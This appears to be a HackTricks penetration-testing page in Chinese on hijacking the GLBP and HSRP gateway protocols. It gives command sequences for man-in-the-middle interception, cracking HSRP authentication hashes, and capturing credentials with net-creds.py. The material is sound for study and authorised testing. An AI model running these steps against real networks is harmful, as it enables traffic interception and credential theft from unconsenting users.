GLBP & HSRP Attacks
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
FHRP Hijacking Overview
Insights into FHRP
FHRP旨在通过将多个路由器合并为一个虚拟单元来提供网络的鲁棒性,从而增强负载分配和容错能力。思科系统公司在这一套协议中引入了GLBP和HSRP等重要协议。
GLBP Protocol Insights
思科创建的GLBP在TCP/IP协议栈上运行,使用UDP在3222端口进行通信。GLBP组中的路由器每3秒交换一次“hello”数据包。如果路由器在10秒内未发送这些数据包,则被认为是离线的。然而,这些定时器并不是固定的,可以进行修改。
GLBP Operations and Load Distribution
GLBP的特点是通过使用单个虚拟IP和多个虚拟MAC地址在路由器之间实现负载分配。在GLBP组中,每个路由器都参与数据包转发。与HSRP/VRRP不同,GLBP通过多种机制提供真正的负载均衡:
- Host-Dependent Load Balancing: 为主机保持一致的AVF MAC地址分配,这对稳定的NAT配置至关重要。
- Round-Robin Load Balancing: 默认方法,在请求主机之间交替分配AVF MAC地址。
- Weighted Round-Robin Load Balancing: 根据预定义的“权重”指标分配负载。
Key Components and Terminologies in GLBP
- AVG (Active Virtual Gateway): 主要路由器,负责将MAC地址分配给对等路由器。
- AVF (Active Virtual Forwarder): 指定管理网络流量的路由器。
- GLBP Priority: 决定AVG的指标,默认值为100,范围在1到255之间。
- GLBP Weight: 反映路由器的当前负载,可以手动或通过对象跟踪进行调整。
- GLBP Virtual IP Address: 作为所有连接设备的网络默认网关。
对于交互,GLBP使用保留的组播地址224.0.0.102和UDP端口3222。路由器每3秒发送一次“hello”数据包,如果在10秒内错过一个数据包,则被视为非操作状态。
GLBP Attack Mechanism
攻击者可以通过发送优先级值最高(255)的GLBP数据包成为主路由器。这可能导致DoS或MITM攻击,从而允许流量拦截或重定向。
Executing a GLBP Attack with Loki
Loki可以通过注入优先级和权重设置为255的数据包来执行GLBP攻击。攻击前的步骤包括使用Wireshark等工具收集虚拟IP地址、身份验证存在性和路由器优先级值等信息。
攻击步骤:
- 切换到混杂模式并启用IP转发。
- 确定目标路由器并获取其IP。
- 生成一个无偿ARP。
- 注入一个恶意GLBP数据包,冒充AVG。
- 为攻击者的网络接口分配一个次要IP地址,镜像GLBP虚拟IP。
- 实施SNAT以实现完整的流量可见性。
- 调整路由以确保通过原始AVG路由器继续访问互联网。
通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。
为了演示,以下是所需的命令片段:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
监控和拦截流量可以使用 net-creds.py 或类似工具来捕获和分析流经被攻陷网络的数据。
HSRP 劫持的被动解释与命令细节
HSRP(热备份路由器/冗余协议)概述
HSRP 是一种思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为一个共享 IP 地址的单一逻辑单元。该逻辑单元由一个主要路由器管理,负责流量的引导。与使用优先级和权重进行负载均衡的 GLBP 不同,HSRP 依赖于单个活动路由器进行流量管理。
HSRP 中的角色和术语
- HSRP 活动路由器:作为网关的设备,管理流量流动。
- HSRP 备用路由器:准备接管活动路由器故障时的备份路由器。
- HSRP 组:一组路由器协作形成一个单一的弹性虚拟路由器。
- HSRP MAC 地址:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。
- HSRP 虚拟 IP 地址:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。
HSRP 版本
HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用和虚拟 MAC 地址结构上有所不同。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒内未收到数据包,则假定路由器处于非活动状态。
HSRP 攻击机制
HSRP 攻击涉及通过注入最大优先级值强行接管活动路由器的角色。这可能导致中间人(MITM)攻击。攻击前的基本步骤包括收集有关 HSRP 设置的数据,可以使用 Wireshark 进行流量分析。
绕过 HSRP 身份验证的步骤
- 将包含 HSRP 数据的网络流量保存为 .pcap 文件。
tcpdump -w hsrp_traffic.pcap
- 使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- 使用 John the Ripper 破解 MD5 哈希。
john --wordlist=mywordlist.txt hsrp_hashes
使用 Loki 执行 HSRP 注入
- 启动 Loki 以识别 HSRP 广告。
- 将网络接口设置为混杂模式并启用 IP 转发。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- 使用 Loki 针对特定路由器,输入破解的 HSRP 密码,并执行必要的配置以冒充活动路由器。
- 在获得活动路由器角色后,配置您的网络接口和 IP 表以拦截合法流量。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- 修改路由表以通过前活动路由器路由流量。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- 使用 net-creds.py 或类似工具从拦截的流量中捕获凭据。
sudo python2 net-creds.py -i eth0
执行这些步骤使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这突显了 HSRP 等冗余协议的脆弱性以及对强大安全措施的需求。
参考文献
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。